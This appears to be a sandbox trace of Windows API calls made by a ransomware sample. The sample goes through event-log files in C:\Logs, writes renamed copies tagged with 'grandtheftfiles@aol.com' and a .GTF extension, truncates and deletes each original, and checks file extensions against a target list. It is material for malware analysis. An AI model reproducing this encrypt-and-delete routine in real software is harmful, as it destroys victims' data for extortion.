	[0080.689] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0080.689] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=69632) returned 1
	[0080.689] CloseHandle (hObject=0x36c) returned 1
	[0080.689] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 0x20
	[0080.689] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0080.689] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0080.689] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.689] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.690] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0080.690] GetLastError () returned 0x0
	[0080.690] ReadFile (in: hFile=0x36c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0080.693] WriteFile (in: hFile=0x2d0, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0080.695] ReadFile (in: hFile=0x36c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.695] WriteFile (in: hFile=0x2d0, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x132, lpOverlapped=0x0) returned 1
	[0080.695] SetEndOfFile (hFile=0x2d0) returned 1
	[0080.695] CloseHandle (hObject=0x2d0) returned 1
	[0080.697] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.697] SetEndOfFile (hFile=0x36c) returned 1
	[0080.699] CloseHandle (hObject=0x36c) returned 1
	[0080.699] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0080.699] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 1
	[0080.699] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0080.699] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0080.699] lstrlenW (lpString=".doc") returned 4
	[0080.699] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.699] lstrlenW (lpString=".docx") returned 5
	[0080.699] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.699] lstrlenW (lpString=".pdf") returned 4
	[0080.699] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.699] lstrlenW (lpString=".xls") returned 4
	[0080.699] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.699] lstrlenW (lpString=".xlsx") returned 5
	[0080.700] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.700] lstrlenW (lpString=".ppt") returned 4
	[0080.700] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.700] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0080.700] lstrlenW (lpString=".zip") returned 4
	[0080.700] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.700] lstrlenW (lpString=".rar") returned 4
	[0080.700] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.700] lstrlenW (lpString=".bz2") returned 4
	[0080.700] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.700] lstrlenW (lpString=".7z") returned 3
	[0080.700] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.700] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0080.700] lstrlenW (lpString=".dbf") returned 4
	[0080.700] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.700] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0080.700] lstrlenW (lpString=".1cd") returned 4
	[0080.700] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.700] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0080.700] lstrlenW (lpString=".jpg") returned 4
	[0080.700] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.700] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0080.700] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0080.700] lstrlenW (lpString=".doc") returned 4
	[0080.700] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.700] lstrlenW (lpString=".docx") returned 5
	[0080.700] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.700] lstrlenW (lpString=".pdf") returned 4
	[0080.700] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.700] lstrlenW (lpString=".xls") returned 4
	[0080.700] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.700] lstrlenW (lpString=".xlsx") returned 5
	[0080.700] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.700] lstrlenW (lpString=".ppt") returned 4
	[0080.700] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.700] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0080.701] lstrlenW (lpString=".zip") returned 4
	[0080.701] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.701] lstrlenW (lpString=".rar") returned 4
	[0080.701] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.701] lstrlenW (lpString=".bz2") returned 4
	[0080.701] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.701] lstrlenW (lpString=".7z") returned 3
	[0080.701] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.701] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0080.701] lstrlenW (lpString=".dbf") returned 4
	[0080.701] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.701] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0080.701] lstrlenW (lpString=".1cd") returned 4
	[0080.701] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.701] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55
	[0080.701] lstrlenW (lpString=".jpg") returned 4
	[0080.701] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.701] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0080.701] lstrlenW (lpString="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 49
	[0080.701] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0080.701] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=69632) returned 1
	[0080.701] CloseHandle (hObject=0x36c) returned 1
	[0080.701] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 0x20
	[0080.702] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0080.702] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0080.702] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.702] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.702] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0080.702] GetLastError () returned 0x0
	[0080.702] ReadFile (in: hFile=0x36c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0080.707] WriteFile (in: hFile=0x2d0, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0080.709] ReadFile (in: hFile=0x36c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.709] WriteFile (in: hFile=0x2d0, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x136, lpOverlapped=0x0) returned 1
	[0080.709] SetEndOfFile (hFile=0x2d0) returned 1
	[0080.709] CloseHandle (hObject=0x2d0) returned 1
	[0080.711] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.711] SetEndOfFile (hFile=0x36c) returned 1
	[0080.713] CloseHandle (hObject=0x36c) returned 1
	[0080.713] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0080.713] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 1
	[0080.713] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0080.713] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0080.713] lstrlenW (lpString=".doc") returned 4
	[0080.713] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.713] lstrlenW (lpString=".docx") returned 5
	[0080.713] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.713] lstrlenW (lpString=".pdf") returned 4
	[0080.713] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.713] lstrlenW (lpString=".xls") returned 4
	[0080.713] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.713] lstrlenW (lpString=".xlsx") returned 5
	[0080.713] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.713] lstrlenW (lpString=".ppt") returned 4
	[0080.714] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.714] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0080.714] lstrlenW (lpString=".zip") returned 4
	[0080.714] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.714] lstrlenW (lpString=".rar") returned 4
	[0080.714] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.714] lstrlenW (lpString=".bz2") returned 4
	[0080.714] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.714] lstrlenW (lpString=".7z") returned 3
	[0080.714] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.714] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0080.714] lstrlenW (lpString=".dbf") returned 4
	[0080.714] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.714] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0080.714] lstrlenW (lpString=".1cd") returned 4
	[0080.714] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.714] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0080.714] lstrlenW (lpString=".jpg") returned 4
	[0080.714] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.714] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0080.714] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0080.714] lstrlenW (lpString=".doc") returned 4
	[0080.714] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.714] lstrlenW (lpString=".docx") returned 5
	[0080.714] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.714] lstrlenW (lpString=".pdf") returned 4
	[0080.714] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.714] lstrlenW (lpString=".xls") returned 4
	[0080.714] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.714] lstrlenW (lpString=".xlsx") returned 5
	[0080.714] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.714] lstrlenW (lpString=".ppt") returned 4
	[0080.714] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.714] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0080.714] lstrlenW (lpString=".zip") returned 4
	[0080.715] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.715] lstrlenW (lpString=".rar") returned 4
	[0080.715] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.715] lstrlenW (lpString=".bz2") returned 4
	[0080.715] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.715] lstrlenW (lpString=".7z") returned 3
	[0080.715] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.715] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0080.715] lstrlenW (lpString=".dbf") returned 4
	[0080.715] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.715] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0080.715] lstrlenW (lpString=".1cd") returned 4
	[0080.715] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.715] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0080.715] lstrlenW (lpString=".jpg") returned 4
	[0080.715] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.715] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0080.715] lstrlenW (lpString="Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 48
	[0080.715] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0080.715] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=1052672) returned 1
	[0080.715] CloseHandle (hObject=0x36c) returned 1
	[0080.719] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 0x20
	[0080.720] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0080.720] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0080.720] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.720] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.720] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0080.782] GetLastError () returned 0x0
	[0080.782] ReadFile (in: hFile=0x36c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0081.215] WriteFile (in: hFile=0x33c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0081.236] ReadFile (in: hFile=0x36c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x1010, lpOverlapped=0x0) returned 1
	[0081.777] WriteFile (in: hFile=0x33c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x1020, lpOverlapped=0x0) returned 1
	[0081.781] ReadFile (in: hFile=0x36c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.781] WriteFile (in: hFile=0x33c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x134, lpOverlapped=0x0) returned 1
	[0081.781] SetEndOfFile (hFile=0x33c) returned 1
	[0081.796] CloseHandle (hObject=0x33c) returned 1
	[0081.821] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.821] SetEndOfFile (hFile=0x36c) returned 1
	[0081.822] CloseHandle (hObject=0x36c) returned 1
	[0081.822] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0081.822] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 1
	[0081.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0081.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0081.823] lstrlenW (lpString=".doc") returned 4
	[0081.823] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.823] lstrlenW (lpString=".docx") returned 5
	[0081.823] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.823] lstrlenW (lpString=".pdf") returned 4
	[0081.823] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.823] lstrlenW (lpString=".xls") returned 4
	[0081.823] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.823] lstrlenW (lpString=".xlsx") returned 5
	[0081.823] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.823] lstrlenW (lpString=".ppt") returned 4
	[0081.823] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0081.823] lstrlenW (lpString=".zip") returned 4
	[0081.823] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.823] lstrlenW (lpString=".rar") returned 4
	[0081.823] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.823] lstrlenW (lpString=".bz2") returned 4
	[0081.823] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.823] lstrlenW (lpString=".7z") returned 3
	[0081.823] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0081.823] lstrlenW (lpString=".dbf") returned 4
	[0081.823] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0081.823] lstrlenW (lpString=".1cd") returned 4
	[0081.823] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0081.823] lstrlenW (lpString=".jpg") returned 4
	[0081.823] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0081.824] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0081.824] lstrlenW (lpString=".doc") returned 4
	[0081.824] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.824] lstrlenW (lpString=".docx") returned 5
	[0081.824] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.824] lstrlenW (lpString=".pdf") returned 4
	[0081.824] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.824] lstrlenW (lpString=".xls") returned 4
	[0081.824] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.824] lstrlenW (lpString=".xlsx") returned 5
	[0081.824] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.824] lstrlenW (lpString=".ppt") returned 4
	[0081.824] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.824] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0081.824] lstrlenW (lpString=".zip") returned 4
	[0081.824] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.824] lstrlenW (lpString=".rar") returned 4
	[0081.824] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.824] lstrlenW (lpString=".bz2") returned 4
	[0081.824] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.824] lstrlenW (lpString=".7z") returned 3
	[0081.824] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.824] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0081.824] lstrlenW (lpString=".dbf") returned 4
	[0081.824] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.824] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0081.824] lstrlenW (lpString=".1cd") returned 4
	[0081.824] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.824] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0081.824] lstrlenW (lpString=".jpg") returned 4
	[0081.824] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.824] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0081.824] lstrlenW (lpString="Microsoft-Windows-Ntfs%4WHC.evtx") returned 32
	[0081.825] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0081.913] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=69632) returned 1
	[0081.913] CloseHandle (hObject=0x35c) returned 1
